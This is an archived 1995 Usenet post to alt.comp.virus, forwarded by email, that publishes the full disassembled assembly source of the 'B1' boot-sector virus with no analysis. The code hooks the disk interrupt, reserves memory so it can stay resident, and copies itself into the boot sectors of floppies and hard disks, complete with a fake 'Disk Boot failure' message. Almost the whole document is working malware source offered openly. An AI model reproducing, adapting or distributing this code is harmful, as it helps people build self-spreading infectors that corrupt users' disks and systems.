home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / B1.ASM < prev    next >
Assembly Source File  |  1995-10-29  |  11KB  |  363 lines
  1. From smtp Tue Feb  7 13:16 EST 1995
  2. Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue,  7 Feb 95 13:16 EST
  3. Received: by lynx.dac.neu.edu (8.6.9/8.6.9) 
  4.      id NAA01723 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:19:13 -0500
  5. Date: Tue, 7 Feb 1995 13:19:13 -0500
  6. From: lynx.dac.neu.edu!ekilby (Eric Kilby)
  7. Content-Length: 10347
  8. Content-Type: binary
  9. Message-Id: <199502071819.NAA01723@lynx.dac.neu.edu>
  10. To: pobox.jwu.edu!joshuaw 
  11. Subject: (fwd) B1
  12. Newsgroups: alt.comp.virus
  13. Status: O
  14.  
  15. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!news.sprintlink.net!uunet!ankh.iia.org!danishm
  16. From: danishm@iia.org ()
  17. Newsgroups: alt.comp.virus
  18. Subject: B1
  19. Date: 5 Feb 1995 22:05:37 GMT
  20. Organization: International Internet Association.
  21. Lines: 330
  22. Message-ID: <3h3i3h$v4@ankh.iia.org>
  23. NNTP-Posting-Host: iia.org
  24. X-Newsreader: TIN [version 1.2 PL2]
  25.  
  26. Here is the B1 virus:
  27.  
  28.   
  29. PAGE  59,132
  30. ; Disassembled using sourcer  
  31. ;[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[
  32. ;[[                                                                      [[
  33. ;[[                             B1                                       [[
  34. ;[[                                                                      [[
  35. ;[[      Created:   8-Jan-95                                             [[
  36. ;[[      Version:                                                        [[
  37. ;[[      Code type: zero start                                           [[
  38. ;[[      Passes:    5          Analysis Options on: none                 [[
  39. ;[[                                                                      [[
  40. ;[[                                                                      [[
  41. ;[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[
  42.   
  43. data_1e         equ     413h                    ; (0000:0413=7Fh)
  44. data_2e         equ     46Dh                    ; (0000:046D=17E1h)
  45. data_3e         equ     4Ch                     ; (0006:004C=0DAh)
  46.   
  47. seg_a           segment byte public
  48.         assume  cs:seg_a, ds:seg_a
  49.   
  50.   
  51.         org     0
  52.   
  53. virus           proc    far
  54.   
  55. start:
  56.         jmp     short loc_2             ; (0040)
  57.         db       90h, 00h, 4Dh, 4Dh, 49h, 00h
  58.         db       33h, 2Eh, 33h, 00h, 02h, 01h
  59.         db       01h, 00h, 02h,0E0h, 00h, 40h
  60.         db       0Bh,0F0h, 09h, 00h, 12h, 00h
  61.         db       02h, 00h
  62.         db      19 dup (0)
  63.         db       12h, 00h, 00h, 00h, 00h, 01h
  64.         db       00h,0FAh, 33h,0C0h, 8Eh,0D0h
  65.         db      0BCh, 00h, 7Ch, 16h, 07h
  66. loc_2:
  67.         push    cs
  68.         call    sub_1                   ; (00EF)
  69.         push    ax
  70.         shr     ax,1                    ; Shift w/zeros fill
  71.         dec     ah
  72.         jz      loc_3                   ; Jump if zero
  73.         jmp     loc_14                  ; (01BA)
  74. loc_3:
  75.         push    bx
  76.         push    cx
  77.         push    dx
  78.         push    es
  79.         push    si
  80.         push    di
  81.         push    ds
  82.         push    bp
  83.         mov     bp,sp
  84.         or      ch,ch                   ; Zero ?
  85.         jnz     loc_5                   ; Jump if not zero
  86.         shl     al,1                    ; Shift w/zeros fill
  87.         jc      loc_4                   ; Jump if carry Set
  88.         call    sub_6                   ; (0190)
  89.         call    sub_4                   ; (017B)
  90.         jc      loc_7                   ; Jump if carry Set
  91.         call    sub_2                   ; (0127)
  92.         jz      loc_4                   ; Jump if zero
  93.         call    sub_6                   ; (0190)
  94.         call    sub_3                   ; (013B)
  95.         jz      loc_5                   ; Jump if zero
  96.         inc     ah
  97.         call    sub_4                   ; (017B)
  98.         jc      loc_5                   ; Jump if carry Set
  99.         call    sub_5                   ; (0182)
  100.         call    sub_6                   ; (0190)
  101.         inc     ah
  102.         call    sub_4                   ; (017B)
  103. loc_4:
  104.         call    sub_7                   ; (019E)
  105.         or      ch,dh
  106.         dec     cx
  107.         jnz     loc_5                   ; Jump if not zero
  108.         call    sub_6                   ; (0190)
  109.         call    sub_4                   ; (017B)
  110.         jc      loc_7                   ; Jump if carry Set
  111.         call    sub_2                   ; (0127)
  112.         jnz     loc_5                   ; Jump if not zero
  113.         call    sub_7                   ; (019E)
  114.         call    sub_3                   ; (013B)
  115.         dec     byte ptr [bp+10h]
  116.         jz      loc_6                   ; Jump if zero
  117.         mov     al,1
  118.         call    sub_4                   ; (017B)
  119.         jc      loc_7                   ; Jump if carry Set
  120.         call    sub_7                   ; (019E)
  121.         add     bx,di
  122.         inc     cl
  123.         jmp     short loc_6             ; (00BA)
  124. loc_5:
  125.         call    sub_7                   ; (019E)
  126. loc_6:
  127.         call    sub_4                   ; (017B)
  128. loc_7:
  129.         pushf                           ; Push flags
  130.         pop     bx
  131.         mov     [bp+16h],bx
  132.         xchg    ax,[bp+10h]
  133.         shr     ah,1                    ; Shift w/zeros fill
  134.         jnc     loc_9                   ; Jump if carry=0
  135.         xor     ax,ax                   ; Zero register
  136.         mov     ds,ax
  137.         mov     ax,ds:data_2e           ; (0000:046D=17E1h)
  138.         and     ax,178Fh
  139.         jnz     loc_9                   ; Jump if not zero
  140.         call    sub_6                   ; (0190)
  141. loc_8:
  142.         push    ax
  143.         call    sub_4                   ; (017B)
  144.         xor     cx,0FFC0h
  145.         nop                             ;*ASM fixup - sign extn byte
  146.         shl     ax,1                    ; Shift w/zeros fill
  147.         pop     ax
  148.         jnc     loc_8                   ; Jump if carry=0
  149. loc_9:
  150.         pop     bp
  151.         pop     ds
  152.         pop     di
  153.         pop     si
  154.         pop     es
  155.         pop     dx
  156.         pop     cx
  157.         pop     bx
  158.         pop     ax
  159.         iret                            ; Interrupt return
  160.   
  161. virus           endp
  162.   
  163. ;__________________________________________________________________________
  164. ;                              SUBROUTINE
  165. ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
  166.   
  167. sub_1           proc    near
  168.         mov     bx,44h
  169.         mov     dx,80h
  170.         mov     si,data_1e              ; (0000:0413=7Fh)
  171.         xor     di,di                   ; Zero register
  172.         mov     ds,di
  173.         dec     word ptr [si]
  174.         lodsw                           ; String [si] to ax
  175.         pop     si
  176.         mov     cl,6
  177.         shl     ax,cl                   ; Shift w/zeros fill
  178.         mov     es,ax
  179.         sub     si,bx
  180.         push    si
  181.         push    ax
  182.         mov     ax,1AEh
  183.         push    ax
  184.         push    cs
  185.         push    si
  186.         push    cs
  187.         pop     ds
  188.         call    sub_5                   ; (0182)
  189.         mov     ds,cx
  190.         mov     si,data_3e              ; (0006:004C=0DAh)
  191.         mov     cl,2
  192.         rep     movsw                   ; Rep when cx >0 Mov [si] to es:[di]
  193.         mov     [si-4],bx
  194.         mov     [si-2],es
  195.         pop     bx
  196.         pop     es
  197.         retf                            ; Return far
  198. sub_1           endp
  199.   
  200.   
  201. ;__________________________________________________________________________
  202. ;                              SUBROUTINE
  203. ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
  204.   
  205. sub_2           proc    near
  206.         cld                             ; Clear direction
  207.         push    cs
  208.         pop     ds
  209.         xor     si,si                   ; Zero register
  210.         mov     di,bx
  211.         mov     cl,40h                  ; '@'
  212.         push    si
  213.         push    di
  214.         add     si,cx
  215.         add     di,cx
  216.         repe    cmpsb                   ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  217.         pop     di
  218.         pop     si
  219.         retn
  220. sub_2           endp
  221.   
  222.   
  223. ;__________________________________________________________________________
  224. ;                              SUBROUTINE
  225. ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
  226.   
  227. sub_3           proc    near
  228.         push    ax
  229.         xor     dh,dh                   ; Zero register
  230.         test    dl,80h
  231.         jz      loc_10                  ; Jump if zero
  232.         mov     cx,11h
  233.         jmp     short loc_11            ; (0175)
  234. loc_10:
  235.         mov     ax,[di+11h]
  236.         mov     cl,4
  237.         shr     ax,cl                   ; Shift w/zeros fill
  238.         mov     cx,ax
  239.         mov     ax,[di+16h]
  240.         shl     ax,1                    ; Shift w/zeros fill
  241.         jc      loc_12                  ; Jump if carry Set
  242.         add     ax,cx
  243.         jc      loc_12                  ; Jump if carry Set
  244.         xor     cx,cx                   ; Zero register
  245.         cmp     ah,[di+18h]
  246.         jae     loc_12                  ; Jump if above or =
  247.         div     byte ptr [di+18h]       ; al,ah rem = ax/data
  248.         xchg    cl,ah
  249.         cmp     ah,[di+1Ah]
  250.         jae     loc_12                  ; Jump if above or =
  251.         div     byte ptr [di+1Ah]       ; al,ah rem = ax/data
  252.         mov     ch,al
  253.         mov     dh,ah
  254.         inc     cx
  255. loc_11:
  256.         pop     ax
  257.         retn
  258. loc_12:
  259.         xor     cx,cx                   ; Zero register
  260.         jmp     short loc_11            ; (0175)
  261. sub_3           endp
  262.   
  263.   
  264. ;__________________________________________________________________________
  265. ;                              SUBROUTINE
  266. ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
  267.   
  268. sub_4           proc    near
  269.         pushf                           ; Push flags
  270.         call    dword ptr cs:[1BCh]     ; (7379:01BC=0D79h)
  271.         retn
  272. sub_4           endp
  273.   
  274.   
  275. ;__________________________________________________________________________
  276. ;                              SUBROUTINE
  277. ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
  278.   
  279. sub_5           proc    near
  280.         cld                             ; Clear direction
  281.         movsw                           ; Mov [si] to es:[di]
  282.         mov     cx,17Ch
  283.         add     si,3Eh
  284.         add     di,3Eh
  285.         rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  286.         retn
  287. sub_5           endp
  288.   
  289.   
  290. ;__________________________________________________________________________
  291. ;                              SUBROUTINE
  292. ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
  293.   
  294. sub_6           proc    near
  295.         push    cs
  296.         mov     ax,200h
  297.         mov     bx,ax
  298.         xor     cx,cx                   ; Zero register
  299.         xor     dh,dh                   ; Zero register
  300.         inc     cx
  301.         inc     ax
  302.         pop     es
  303.         retn
  304. sub_6           endp
  305.   
  306.   
  307. ;__________________________________________________________________________
  308. ;                              SUBROUTINE
  309. ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
  310.   
  311. sub_7           proc    near
  312.         mov     ax,[bp+10h]
  313.         mov     bx,[bp+0Eh]
  314.         mov     cx,[bp+0Ch]
  315.         mov     dx,[bp+0Ah]
  316.         mov     es,[bp+8]
  317.         retn
  318. sub_7           endp
  319.   
  320.         db      41h                     ; Inc   cx   ?
  321. loc_13:
  322.         mov     ax,201h
  323.         int     13h                     ; Disk  dl=drive a  ah=func 02h
  324.                         ;  read sectors to memory es:bx
  325.         xor     dl,80h
  326.         jz      loc_13                  ; Jump if zero
  327.         retf                            ; Return far
  328. loc_14:
  329.         pop     ax
  330. ;*              jmp     far ptr loc_1           ;*(000A:0D79)
  331.         db      0EAh, 79h, 0Dh, 0Ah, 00h
  332.         db      0Dh, 0Ah, 'Disk Boot failure', 0Dh
  333.         db      0Ah, 0
  334.         db      'IBMBIO  COMIBMDOS  COM'
  335.         db      18 dup (0)
  336.         db       55h,0AAh
  337.   
  338. seg_a           ends
  339.   
  340.   
  341.   
  342.         end     start
  343.  
  344. ls virus.asm
  345.  
  346.  
  347.  
  348. ls virus.asm
  349.  
  350.  
  351.  
  352.  
  353.  
  354.  
  355.  
  356.  
  357. --
  358. Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
  359. The Great Sporkeus Maximus                 ekilby@lynx.dac.neu.edu
  360. Student at the Northeatstern University College of Computer Science 
  361. "I Can't Believe It's Not Butter"
  362.  
  363.